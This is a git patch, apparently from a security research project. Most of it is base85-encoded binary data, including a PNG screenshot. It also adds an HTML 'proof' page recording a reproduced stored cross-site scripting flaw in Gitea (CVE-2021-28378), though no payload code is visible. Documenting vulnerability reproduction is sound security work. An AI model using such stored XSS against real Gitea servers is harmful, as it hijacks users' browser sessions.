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 + + + Gitea Stored XSS Fixture - proof + + + +
    +

    Gitea Stored XSS Fixture

    +

    Stored payload rendering path for browser proof capture.

    +
    Proof active: stored payload rendered inside the browser proof page
    +

    System: gitea / Family: xss

    + +
    XSS marker executed for gitea--CVE-2021-28378
    + + + +
    + + \ No newline at end of file diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/proof.png new file mode 100644 index 0000000000000000000000000000000000000000..d7159f3fb884668195ac4cb35293e12cd59539fe GIT binary patch literal 38082 zcmeFYRahHe{5MFwv;|tUIHhQ@0>z4zmg4T7;>F#qg#yJrI1~x)5Q0l_4Q|09cyNLR z*y-eF0oLtbcu;8jHwCUA9M zTj!w4KQ}iv7vz+6)~EOL zR!d8#`}g)1dZ+$hL$(GHiEv5^|8)8An2MmFcHUBk-%JJz$<>|shBhgBl@ z@S9I%P1W)F$@8aAm4M5zD4#z)OiT=fK<*0z7li=>2V*>M{5MAlITZ1%$jKjhe#V+2 zu_D*y;P`JY|8Xb3Us3wM&W4ua5Pbtq{luyEL)i3O>u1K{A&XCCZ4B04A@DO+!{!k4 z$ki9%`sdGO|M!572+wkY7mWY??c;yvY~8>2`rr1?^M~L5ZGW)8{PA!6uo^!7|0n$4 z^}|t|X>U@CYbjX>KE1PZxWy~_{;#i3zjI(XCNOB6!Roo7~j{%$GU<`Nn6 z0+VKLc;}eQuwecmLgrXmTkpI5=Hml~?E;tGjR~N5$8Nw6;TgC}fLb@){lZ?gL)41JmQLlV_K4z93lkf`10J6h8&v@I~+Uf^f z?TOyXgO;e(=N0c7Bh4>F5$jl3Ps0eetLN*x?|eQQm0`s&oaq)GoT0`$#IK09$Mf~; zy+?nq1O(J1zK9mo#6{(#m+BX)bOoH!YIw3;SJ{JQ^&~uU&Nq+zg%n-Ba_+J>ck%6hfudxS+_y7@s)F=m zGeG-)D7^gfN}HFLHw*crQQH|C>$YWbaZsN|3bwMe(=r$pO9W(R$A$j zL#x&HYuZd@$5=iDf(%85ncO3Tv8og-qix863Ghar$j8Yw!|U$$3o3_#H2J-)bF}Ze z(%+gwf{5LMfyD9#*RzJXy>&vjTcOSO?9$sFi)o}{bK+))p!JTPsBUVXCZG6T!#JR3 zUA6PH{VsX)<*Fx&8eTVaw#yeqCG5I0G25ecK&JGmL!u3mr>tmDs1<(Dr=$+mYOqLza3542!dLD*~IufLQQ}% z;Lxp&*HEZ|MR7WIM%((KM;?dRQtP*CvgtyXpiXhMbBYs{=|hA<7q`w zAw83tX}d+Pg(zS?HNi8u{V;XPI;jq8jLb0|3{SAIP6M#QrKF>2e3QrMp;1+WB90Sv zlf}~(HW|WR>|SUB1_e@KPp$eY2oy~@2eX}Pia=M|wTdBX4@xx4r$PwKHA;1IFy`td zN(NT9hbzX(j_N|f!jn;B_BV48B0f)s(_!{QI}n|M0gL!QFMm<+zvl7uZfy~U^5*p5 zvgnkQctUNW<1$T8tY(iJPkvUL4CnG>if)dTeANX8GnLsNs)T_c!T;0pWVFKQ1bavhva`X;0u;SZa69T{KejQP(-Sg zdFJEMYV%e)puxS-3O7m2PTe%ZQVQTie2dYXuPjP5pzO{NDj|3K)r)QFMQiB`1dk|CsEX*)F0iqq_<%CT-7t>X!F)^KR#N;O?5G`bzcaTJRWr||5usK3i(vm!pr@uYR`QCRTL#0a_0o2;dV zN;9UGpQjUBP20V2z&JKZs1$=;xJ~;nR3G0#_Lux-8sVRitrEVeU9yBOj*gytR~I8$ zIqiO_j%rM9`)S)_c^*KGu3TdTwRl5-nu$?+_)T0dD14in9JQY*`cIltNk zvb8d?u+VODk9qI}x0qVD=KEY_N232>1UYPn?>j9{DsP!WEL|nOyOWL$ouBLOe5n;9 zeZ_ntx2D+I(fQ6~vnRBuJL{{vyE}!j=js8K&;9%N{o%2>0HnBM*RDz`EiHAp&Jb?! 